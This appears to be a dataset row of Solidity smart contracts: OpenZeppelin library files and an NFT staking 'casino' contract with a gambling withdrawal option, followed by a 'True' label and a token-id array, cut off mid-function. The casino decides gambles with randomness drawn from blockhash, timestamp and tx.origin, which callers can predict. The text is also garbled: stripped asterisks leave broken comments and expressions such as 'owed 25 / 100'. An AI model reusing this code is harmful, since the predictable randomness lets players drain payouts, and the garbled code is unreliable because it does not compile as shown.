on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /* * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. / function _implementation() internal view virtual returns (address); /* * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. / function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /* * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. / fallback() external payable virtual { _fallback(); } /* * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. / receive() external payable virtual { _fallback(); } /* * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. / function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /* * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ / library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /* * @dev Returns an `AddressSlot` with member `value` located at `slot`. / function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `BooleanSlot` with member `value` located at `slot`. / function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. / function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 100, 2004, 1037, 5396, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 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// SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./NutsCoin.sol"; import "./DeezNuts.sol"; contract DeezNutsCasino is Ownable, IERC721Receiver, Pausable, ReentrancyGuard { using SafeMath for uint256; using SafeMath for uint128; // struct to store a stake's token, owner, and earning values struct Stake { uint16 tokenId; uint72 dailyRate; uint40 value; address owner; } event GambleOutcome(address sender, uint128 wonAmount); // reference to the DeezNuts NFT contract DeezNuts deezNutsNFT; // reference to the $NUTS contract for minting $NUTS earnings NutsCoin nuts; // maps tokenId to stake mapping(uint16 => Stake) public casinoEmployees; mapping(address => uint16[]) public ownershipMapping; // Each nuts earns 0 $NUTS per day uint256 public DAILY_NUTS_RATE = 0 ether; // there will only ever be (roughly) 6 billion $NUTS earned through staking uint256 public MAXIMUM_GLOBAL_NUTS = 6000000000 ether; // amount of $NUTS earned so far uint256 public totalNutsEarned; // the last time $NUTS was claimed uint256 public lastClaimTimestamp; uint256 public totalStaked; mapping(string => bytes32) public rootHashes; // emergency rescue to allow unstaking without any checks but without $NUTS bool public rescueEnabled = false; /** * @param _deezNuts reference to the DeezNuts NFT contract * @param _nuts reference to the $NUTS token / constructor(address _deezNuts, address _nuts) { deezNutsNFT = DeezNuts(_deezNuts); nuts = NutsCoin(_nuts); totalStaked = 0; rootHashes["casinoBossRoot"] = 0xfa02561f4779941bd09da0d95b8cbe7480cc5e25f485cb9edae925fac99104d3; rootHashes["floorManagerRoot"] = 0xcd47c4886790fefc6bb37a6b059204c9203fe85fbd4582588497606a140876bd; rootHashes["blueNutRoot"] = 0xdd60bd53a57e91693a9cb50bde0c1f5305359d4d39038e53901d6b19b5a2245a; rootHashes["chefRoot"] = 0x29896d4e6dea9fcba447d1a01707916f541260e79b3f1d4eea4d1478740bd77f; rootHashes["djRoot"] = 0xbf1d196a3f6575e0131e833d783e01c25c32801c6ded2c0828b84656eb417aba; rootHashes["bartenderRoot"] = 0x5df7f1188bb0d1ae32808007d67dcc6f66cf238230653eb558ab508848f9dfb9; rootHashes["impersonatorRoot"] = 0xdacb828b187ddfab251c00861ea62b71b4e1f32590b080249a2b7cca85b3d71e; rootHashes["dealerRoot"] = 0xb2b2d91dec60669d941f038c2b3d924a2ce1ef63de2c74dec02bd51abe7b7a2d; rootHashes["slotRoot"] = 0x77ca07f4452ea3e642a01a4807e18e4d0d2f167278ec2e4f6f138f64286dfaba; rootHashes["weddingOfficiantRoot"] = 0x31ebcfd78167e3016e69ed146d132d80fb0b34804b7af27e13af0aeb3c7c4058; rootHashes["busDriverRoot"] = 0x6e13c174c07bed341d3327089c982860b78900ca20d8dd8d297599ffdb76c9ea; rootHashes["penCollectorRoot"] = 0xb338e9eb86a679b212873dd4904fb9d7aa25d3923e55886236edb2546be72a3b; rootHashes["phMonitorRoot"] = 0xba9276a497ed4baca93bda576c688d3573631f1a0cdc0ae44af477ab34bb6887; } function setNewMax(uint256 newMaxGlobal) public onlyOwner { MAXIMUM_GLOBAL_NUTS = newMaxGlobal; } function updateCasinoJobRates(string calldata title, bytes32 newRoot) public onlyOwner { rootHashes[title] = newRoot; } function getAllStakedForAddress(address _address) public view returns (uint16[] memory allStaked){ return ownershipMapping[_address]; } function getTotalCalimable(address _address) public view returns (uint128 totalClaimable) { uint16[] memory tokenIds = ownershipMapping[_address]; for (uint i = 0; i < tokenIds.length; i++) { Stake memory stake = casinoEmployees[tokenIds[i]]; require(stake.owner == _address, "Not the stake owner"); uint128 owed = 0; if (totalNutsEarned < MAXIMUM_GLOBAL_NUTS) { owed = uint128(((block.timestamp.sub(stake.value)).mul(stake.dailyRate)).div(1 days)); } else if (stake.value > lastClaimTimestamp) { owed = 0; // $NUTS production stopped already } else { owed = uint128((lastClaimTimestamp.sub(stake.value)).mul(stake.dailyRate / 1 days)); // stop earning additional $NUTS if it's all been earned } totalClaimable += owed; } } function getDailyRateForToken(uint256 tokenId, bytes32[] calldata employementProof) public view returns (uint72 dailyRate){ bytes32 leaf = keccak256(abi.encodePacked(Strings.toString(tokenId))); dailyRate = 420 ether; if ( MerkleProof.verify(employementProof, rootHashes["casinoBossRoot"], leaf) ) { dailyRate = 3318 ether; } else if (MerkleProof.verify(employementProof, rootHashes["floorManagerRoot"], leaf)) { dailyRate = 3101 ether; } else if (MerkleProof.verify(employementProof, rootHashes["blueNutRoot"], leaf)) { dailyRate = 2883 ether; } else if (MerkleProof.verify(employementProof, rootHashes["chefRoot"], leaf)) { dailyRate = 2658 ether; } else if (MerkleProof.verify(employementProof, rootHashes["djRoot"], leaf)) { dailyRate = 2449 ether; } else if (MerkleProof.verify(employementProof, rootHashes["bartenderRoot"], leaf)) { dailyRate = 2231 ether; } else if (MerkleProof.verify(employementProof, rootHashes["impersonatorRoot"], leaf)) { dailyRate = 2014 ether; } else if (MerkleProof.verify(employementProof, rootHashes["dealerRoot"], leaf)) { dailyRate = 1797 ether; } else if (MerkleProof.verify(employementProof, rootHashes["slotRoot"], leaf)) { dailyRate = 1579 ether; } else if (MerkleProof.verify(employementProof, rootHashes["weddingOfficiantRoot"], leaf)) { dailyRate = 1362 ether; } else if (MerkleProof.verify(employementProof, rootHashes["busDriverRoot"], leaf)) { dailyRate = 1145 ether; } else if (MerkleProof.verify(employementProof, rootHashes["penCollectorRoot"], leaf)) { dailyRate = 927 ether; } else if (MerkleProof.verify(employementProof, rootHashes["phMonitorRoot"], leaf)) { dailyRate = 710 ether; } } /* STAKING / /* * adds DeezNuts NFT to the CasinoEmployees (staking) * @param account the address of the staker * @param tokenIds the IDs of the Sheep and Wolves to stake / function addManyToCasino(address account, uint16[] calldata tokenIds, bytes32[][] calldata employmentProof) external whenNotPaused nonReentrant { require(account == _msgSender(), "Rechek sender of transaction"); require(tokenIds.length > 0, "No tokens sent"); for (uint i = 0; i < tokenIds.length; i++) { require(deezNutsNFT.ownerOf(tokenIds[i]) == _msgSender(), "Token isn't yours!"); deezNutsNFT.transferFrom(_msgSender(), address(this), tokenIds[i]); _addTokenToCasino(account, tokenIds[i], employmentProof[i]); ownershipMapping[account].push(tokenIds[i]); } totalStaked += tokenIds.length; nuts.mint(msg.sender, 1 ether); } /* * adds a single Sheep to the Barn * @param account the address of the staker * @param tokenId the ID of the Sheep to add to the Barn / function _addTokenToCasino(address account, uint16 tokenId, bytes32[] calldata proofOfEmployment) internal whenNotPaused _updateEarnings { uint72 tokenDailyRate = getDailyRateForToken(tokenId, proofOfEmployment); casinoEmployees[tokenId] = Stake({ owner: account, tokenId: uint16(tokenId), value: uint40(block.timestamp), dailyRate: tokenDailyRate }); DAILY_NUTS_RATE += tokenDailyRate; } /* CLAIMING / UNSTAKING / /* * realize $NUTS earnings and optionally unstake tokens from the Casino * @param tokenIds the IDs of the tokens to claim earnings from * @param unstake whether or not to unstake ALL of the tokens listed in tokenIds * @param gambleOption int to determine withdrawal risk / function claimManyFromCasino(uint16[] calldata tokenIds, bool unstake, uint256 gambleOption) external nonReentrant whenNotPaused _updateEarnings { require(0 < gambleOption && gambleOption < 5, "Gamble option has to be 1, 2 or 3. Only use 4 if you don't want any bonus"); uint128 owed; for (uint i = 0; i < tokenIds.length; i++) { owed += _claimNutFromCasino(tokenIds[i], unstake); } // remove unstaked from ownership mapping if (unstake) { if (tokenIds.length == ownershipMapping[_msgSender()].length) { ownershipMapping[_msgSender()] = new uint16[](0); } else { uint16[] memory remainingStaked = new uint16[](ownershipMapping[_msgSender()]. length - tokenIds.length); uint16[] memory stakedTokens = ownershipMapping[_msgSender()]; uint index = 0; for (uint i = 0; i < stakedTokens.length; i++) { bool keepIt = true; for (uint j = 0; j < tokenIds.length; j++) { if (tokenIds[j] == stakedTokens[i]) { keepIt = false; } } if (keepIt) { remainingStaked[index] = stakedTokens[i]; index += 1; } } ownershipMapping[_msgSender()] = remainingStaked; } totalStaked -= tokenIds.length; } if (owed == 0) return; uint128 bonus; if (gambleOption == 1) { bonus = owed 25 / 100; owed += bonus; totalNutsEarned += bonus; } else if (gambleOption == 2) { if (random(tokenIds[0]) % 3 != 0) { bonus = owed * 75 / 100; owed += bonus; totalNutsEarned += bonus; } } else if (gambleOption == 3) { if (random(tokenIds[0]) % 4 == 0) { owed = 0; } else { owed += owed; totalNutsEarned += owed; } } else if (gambleOption == 4) { // to be used in case contract is close to empty and people couldn't withdraw with the 25% bonus totalNutsEarned += owed; } if (owed > 0) { nuts.mint(_msgSender(), owed); } emit GambleOutcome(_msgSender(), owed); } /** * realize $NUTS earnings for a single Nut * @param tokenId the ID of the Sheep to claim earnings from * @param unstake whether or not to unstake the Sheep * @return owed - the amount of $NUTS earned / function _claimNutFromCasino(uint16 tokenId, bool unstake) internal returns (uint128 owed) { Stake memory stake = casinoEmployees[tokenId]; require(stake.owner == _msgSender(), "Not the stake owner"); if (totalNutsEarned < MAXIMUM_GLOBAL_NUTS) { owed = uint128(((block.timestamp.sub(stake.value)).mul(stake.dailyRate)).div(1 days)); } else if (stake.value > lastClaimTimestamp) { owed = 0; // $NUTS production stopped already } else { owed = uint128((lastClaimTimestamp.sub(stake.value)).mul(stake.dailyRate / 1 days)); // stop earning additional $NUTS if it's all been earned } if (unstake) { deezNutsNFT.safeTransferFrom(address(this), _msgSender(), tokenId, ""); // send back Nut DAILY_NUTS_RATE -= stake.dailyRate; delete casinoEmployees[tokenId]; } else { casinoEmployees[tokenId] = Stake({ owner: stake.owner, tokenId: uint16(tokenId), value: uint40(block.timestamp), dailyRate: stake.dailyRate }); } } /* * emergency unstake tokens * @param tokenIds the IDs of the tokens to claim earnings from / function rescue(uint16[] calldata tokenIds) external nonReentrant { require(rescueEnabled, "RESCUE DISABLED"); uint16 tokenId; Stake memory stake; for (uint i = 0; i < tokenIds.length; i++) { tokenId = tokenIds[i]; stake = casinoEmployees[tokenId]; require(stake.owner == _msgSender(), "Only owner can withdraw"); deezNutsNFT.safeTransferFrom(address(this), _msgSender(), tokenId, ""); // send back Nut delete casinoEmployees[tokenId]; DAILY_NUTS_RATE -= stake.dailyRate; } } /* ACCOUNTING / /* * tracks $NUTS earnings to ensure it stops once 6.9 billion is eclipsed / modifier _updateEarnings() { if (totalNutsEarned < MAXIMUM_GLOBAL_NUTS) { totalNutsEarned += (block.timestamp - lastClaimTimestamp) DAILY_NUTS_RATE / 1 days; lastClaimTimestamp = block.timestamp; } _; } /** ADMIN / /* * allows owner to enable "rescue mode" * simplifies accounting, prioritizes tokens out in emergency / function setRescueEnabled(bool _enabled) external onlyOwner { rescueEnabled = _enabled; } /* * enables owner to pause / unpause minting / function setPaused(bool _paused) external onlyOwner { if (_paused) _pause(); else _unpause(); } /* READ ONLY / function onERC721Received( address, address from, uint256, bytes calldata ) external pure override returns (bytes4) { require(from == address(0x0), "Cannot send tokens to Casino directly"); return IERC721Receiver.onERC721Received.selector; } /* * generates a pseudorandom number * @param seed a value ensure different outcomes for different sources in the same block * @return a pseudorandom value / function random(uint256 seed) internal view returns (uint256) { return uint256(keccak256(abi.encodePacked( tx.origin, blockhash(block.number - 1), block.timestamp, seed ))); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /* * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. / abstract contract Pausable is Context { /* * @dev Emitted when the pause is triggered by `account`. / event Paused(address account); /* * @dev Emitted when the pause is lifted by `account`. / event Unpaused(address account); bool private _paused; /* * @dev Initializes the contract in unpaused state. / constructor() { _paused = false; } /* * @dev Returns true if the contract is paused, and false otherwise. / function paused() public view virtual returns (bool) { return _paused; } /* * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. / modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /* * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. / modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /* * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. / function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /* * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. / function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /* * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /* * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. / library MerkleProof { /* * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. / function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return 